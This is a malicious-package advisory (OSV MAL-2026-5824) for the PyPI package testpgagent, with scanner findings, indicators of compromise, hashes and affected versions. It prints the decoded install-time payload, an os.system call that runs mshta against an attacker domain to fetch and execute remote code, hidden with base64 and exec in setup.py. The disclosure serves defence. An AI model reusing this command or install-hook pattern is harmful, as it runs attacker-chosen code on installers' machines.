MAL-2026-5824

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/testpgagent/MAL-2026-5824.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5824
Published
2026-06-15T17:24:46Z
Modified
2026-07-08T23:01:58Z
Summary
Malicious code in testpgagent (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f)

On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.

Source: kam193 (b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7)

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

  • tool:mshta

Database specific
{
    "iocs": {
        "domains": [
            "fixars.top"
        ],
        "urls": [
            "https://pastebin.com/raw/hEF5HaFc",
            "https://pastebin.com/raw/yBcUM1QBs",
            "https://pastebin.com/raw/yBcUM1QB",
            "http://fixars.top"
        ]
    },
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006655",
            "import_time": "2026-06-15T18:54:56.185918176Z",
            "modified_time": "2026-06-15T18:23:03Z",
            "sha256": "c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f",
            "source": "amazon-inspector",
            "versions": [
                "0.2"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-15T18:54:58.630667986Z",
            "modified_time": "2026-06-15T17:24:46.312102Z",
            "sha256": "cc91b82332e104c5788470ba2d3bad983bf7a8d24615c0aa55788877441f6315",
            "source": "kam193",
            "versions": [
                "0.1",
                "0.2"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-15T22:45:32.26810375Z",
            "modified_time": "2026-06-15T17:24:46.312102Z",
            "sha256": "716181b28eadded8c97c8523daa795b07ad06a64d705ac88e2e7bed2ce2a496e",
            "source": "kam193",
            "versions": [
                "0.1",
                "0.2"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-16T10:17:17.183594328Z",
            "modified_time": "2026-06-15T17:24:46.312102Z",
            "sha256": "d3d68904948d2a20829d60c633af04d71bec824347ef8655781009ff459bf9bb",
            "source": "kam193",
            "versions": [
                "0.1",
                "0.2"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-17T09:49:36.179868603Z",
            "modified_time": "2026-06-15T17:24:46.312102Z",
            "sha256": "b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7",
            "source": "kam193",
            "versions": [
                "0.1",
                "0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-008873",
            "import_time": "2026-07-08T22:51:30.422703227Z",
            "modified_time": "2026-07-08T22:45:43Z",
            "sha256": "c0c02f55f5bc702497c1ce7a750b2af401194c877e4fa76e17cc21222ee24827",
            "source": "amazon-inspector",
            "versions": [
                "0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / testpgagent

Package

Name
testpgagent
View open source insights on deps.dev
Purl
pkg:pypi/testpgagent

Affected ranges

Affected versions

0.*
0.1
0.2

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "setup.py",
            "sha256": "48ba3535845d620cf398b4de2516a6ff2c56f283a0969f1d43ddea10c4a7fc6b",
            "tlsh": "29f020838ce9cf1c11f04a440c259010f9e083af1650d8cf347c835c1f74412c227458"
        }
    ],
    "package_integrity": [
        {
            "filename": "testpgagent-0.2.tar.gz",
            "hashes": {
                "blake2b_256": "3329f692eb9e80c4d443dd39b74602a4e0e6f65e56526c27672569f10cd37742",
                "md5": "a4481a2dbcda633fbf453b01a7fd4740",
                "sha256": "67e03d8eb4cdfed95b9564a5c7be705cec523782feded1bc2780ee9b0b3dc9dc"
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/testpgagent/MAL-2026-5824.json"